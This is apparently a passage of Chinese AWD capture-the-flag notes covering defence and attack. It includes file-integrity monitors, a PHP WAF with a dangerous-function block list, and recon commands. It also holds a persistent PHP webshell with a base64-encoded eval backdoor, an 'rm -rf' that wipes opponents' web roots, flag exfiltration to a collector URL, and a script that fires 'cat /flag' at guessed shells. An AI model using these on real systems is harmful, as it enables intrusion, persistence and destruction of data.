php fileinclude.php --install /var/www/html /tmp/129fc23931a5be05b43f0e9d2c90bd15/weblogpro.php

其他常用命令

1
2
3
4
5
6
7
8
netstat -ano/-a #查看端口情况
uname -a #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id #用于显示用户ID,以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/ #查找默认FLAG

文件监控

寻找20min内修改的文件

1
find /var/www/html -name *.php -mmin -20

文件监控脚本1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python
#coding=utf-8
#Usage :python demo.py
#Code by : AdminTony
#QQ : 78941695
#注意:要将此文件放在有读写权限的目录以及所有修改过的php必须在此目录或者该目录的子目录中。
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt



import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
#command: find -name '*.php' -mmin -10
command = "find -name \'*.php\' -mmin -10"
su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
STDOUT,STDERR = su.communicate()
list = STDOUT.split("\n")
#print str(list)
#将文件处理成list类型然后返回。
return list

#读取文件:
def loadfile(addr):
data = ""
#如果文件不存在就跳出函数
try :
file = open(addr,'r')
data = file.read()
except :
return 0
all_data = addr+"\n"+data+"\n\n"
file1 = open("shell.txt",'a+')
#避免重复写入
try:
shell_content = file1.read()
except:
shell_content = "null"
#如果文件内容不为空再写入,避免写入空的。
#print shell_content
if data :
if all_data not in shell_content:
file1.write(all_data)
file.close()
file1.close()
rm_cmd = "rm -rf "+addr
su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
su.communicate()
print "loadfile over : "+addr

if __name__ == '__main__':
while True:

list = scanfile()
if list :
for i in range(len(list)):
#如果list[i]为空就不读取了
if list[i]:
loadfile(str(list[i]))
else : pass

文件监控脚本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# -*- coding: utf-8 -*-#
# awd文件监控脚本
# author:说书人
import os
import json
import time
import hashlib


def ListDir(path): # 获取网站所有文件

for file in os.listdir(path):
file_path = os.path.join(path, file)
if os.path.isdir(file_path):
if initialization['ok'] == 'false':
dir_list.append(file_path)
else:
dir_list_tmp.append(file_path)
ListDir(file_path)
else:
if initialization['ok'] == 'false':
file_list.append(file_path)
else:
file_list_tmp.append(file_path)


def GetHash(): # 获取hash,建立索引
for bak in file_list:
with open(bak, 'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
bak_dict[bak] = hash
if os.path.exists('/tmp/awd_web_hash.txt') == False:
os.system('mkdir /tmp/awd_web_bak/')
os.system('\\cp -a {0}* /tmp/awd_web_bak/'.format(web_dir))
with open('/tmp/awd_web_hash.txt', 'w') as f: # 记录web文件hash
f.write(str(json.dumps(bak_dict)))
for i in file_list: # 记录web文件列表
with open('/tmp/awd_web_list.txt', 'a') as f:
f.write(i + '\n')
for i in dir_list: # 记录web目录列表
with open('/tmp/awd_web_dir.txt', 'a') as f:
f.write(i + '\n')


def FileMonitor(): # 文件监控
# 提取当前web目录状态
initialization['ok'] = 'true'
for file in os.listdir(web_dir):
file_path = os.path.join(web_dir, file)
if os.path.isdir(file_path):
dir_list_tmp.append(file_path)
ListDir(file_path)
else:
file_list_tmp.append(file_path)
for file in file_list_tmp:
with open(file, 'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
bak_dict_tmp[file] = hash
with open('/tmp/awd_web_hash.txt', 'r') as f: # 读取备份的文件hash
real_bak_dict = json.loads(f.read())
with open('/tmp/awd_web_list.txt', 'r') as f: # 读取备份的文件列表
real_file_list = f.read().split('\n')[0:-1]
with open('/tmp/awd_web_dir.txt', 'r') as f: # 读取备份的目录列表
real_dir_list = f.read().split('\n')[0:-1]

for dir in real_dir_list: # 恢复web目录
try:
os.makedirs(dir)
print("[del-recover]dir:{}".format(dir))
except:
pass

for file in file_list_tmp:
try:
if real_bak_dict[file] != bak_dict_tmp[file]: # 检测被篡改的文件,自动恢复
os.system('\\cp {0} {1}'.format(file.replace(web_dir, '/tmp/awd_web_bak/'), file))
print("[modify-recover]file:{}".format(file))
except: # 检测新增的文件,自动删除
os.system('rm -rf {0}'.format(file))
print("[delete]webshell:{0}".format(file))

for real_file in real_file_list: # 检测被删除的文件,自动恢复
if real_file not in file_list_tmp:
os.system('\\cp {0} {1}'.format(real_file.replace(web_dir, '/tmp/awd_web_bak/'), real_file))
print("[del-recover]file:{0}".format(real_file))
file_list_tmp[:] = []
dir_list_tmp[:] = []


os.system("rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/")
web_dir = "/var/www/" # web目录,注意最后要加斜杠
file_list = []
dir_list = []
bak_dict = {}
file_list_tmp = []
dir_list_tmp = []
bak_dict_tmp = {}
initialization = {'ok': 'false'}
ListDir(web_dir)
GetHash()
while True:
print(time.ctime()+" 安全")
FileMonitor()
time.sleep(1) # 监控间隔,按需修改

文件监控脚本:
https://github.com/TheKingOfDuck/FileMonitor

上WAF

如何比赛允许的话可以直接上,可能会导致服务不可用而扣分。
常见WAF添加路径

1
2
3
4
5
6
7
8
9
10
11
DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDECMS5.7 \data\common.inc.php

或者直接来个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
$time=date("Y-m-d H:i:s");//将时间赋值给变量$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

}
waf();
?>

WAF脚本参考:
https://github.com/sharpleung/CTF-WAF
https://github.com/dycsy/awd-watchbird
https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF
https://github.com/DasSecurity-Labs/AoiAWD 这个据说挺好用

如果没有环境:

AoiAWD/BUILD.md at master · DasSecurity-HatLab/AoiAWD

image-20230804154046511.png
只要把生成的tapeworm.phar放到靶机上运行tapeworm.phar -s uri就好了
虚拟机安装后上场直接用。不要用wsl,wsl不是桥接出的

奇技淫巧

修改curl

1
2
3
4
alias curl='echo fuckoff'  权限要求较低
chmod -x curl 权限要求较高

/usr/bin curl路径

不死马加强版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function send_post($url, $post_data) {
$postdata = http_build_query($post_data);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $postdata,
'timeout' => 15 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
return $result;
}
$flag_tmp="flag{xxx}";
@unlink ("awd2021.php");
while (True) {
$flag=system("cat flag.txt");
$data=array(
'flag' => $flag
);
if ($flag!=$flag_tmp) {
send_post('http://127.0.0.1/getflag.php', $data);
}
$flag_tmp=$flag;
$shell=base64_decode("PD9waHAgJGtleT0kX0dFVFsia2V5Il07CiRrZXloYXNoPW1kNSgka2V5KTsKaWYoJGtleWhhc2g9PT0iYzQwM2Q1OWZlYTMzMTEzZGY0NGQ0NjVhZWVjMzM2YWIiKSB7CglldmFsKCRfUE9TVFsiYSJdKTsKfQplY2hvImZpbGUgbm90IGZpbmQuIjsKPz4=");
if (file_exists(".c403d59fea33113df44d465aeec336ab.php")==0) {
file_put_contents(".c403d59fea33113df44d465aeec336ab.php", $shell, FILE_APPEND);
}
system("rm -rf /var/www/html/* !(.c403d59fea33113df44d465aeec336ab.php)");
}
?>

这个脚本仅作为例子,意思是可以删除对方的源码,如果使用这个马的时候记得命名和里面命名相同。

搅屎棍

这是最坏的打算,别的都不行的情况下只能搞这个了。

共权限

在抓到的流量往别人主机上发送,看看能不能蒙到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

def scan_attack():
file={'shell.php','x.php','index.php'}
payload={'cat /flag','ls -al'}
while(1):
for i in range(8802,8804):
for ii in file:
url='http://192.168.76.156:'+str(i)+'/'+ii
for iii in payload:
data={
'payload':iii
}
try:
requests.post(url,data=data)
print("run:"+str(i)+'|'+ii+'|'+iii)
time.sleep(0.5)
except Exception as e:
time.sleep(0.5)
pass
if __name__ == '__main__':
scan_attack()

感觉可以发点假包恶心他们🤔

总结

这里简单写一下流程,仅仅是想法
下源码d盾啥的自动化先上源码备份两份,(能上waf上),(能种高权限马就种),找服务端口,把流量分析监控之类的跑起来
开始先找主机、端口,能打就打,打不动等别人打,防住了有日志就好办。

纸上得来终觉浅,绝知此事要躬行。过两天比赛前找个机会试一试。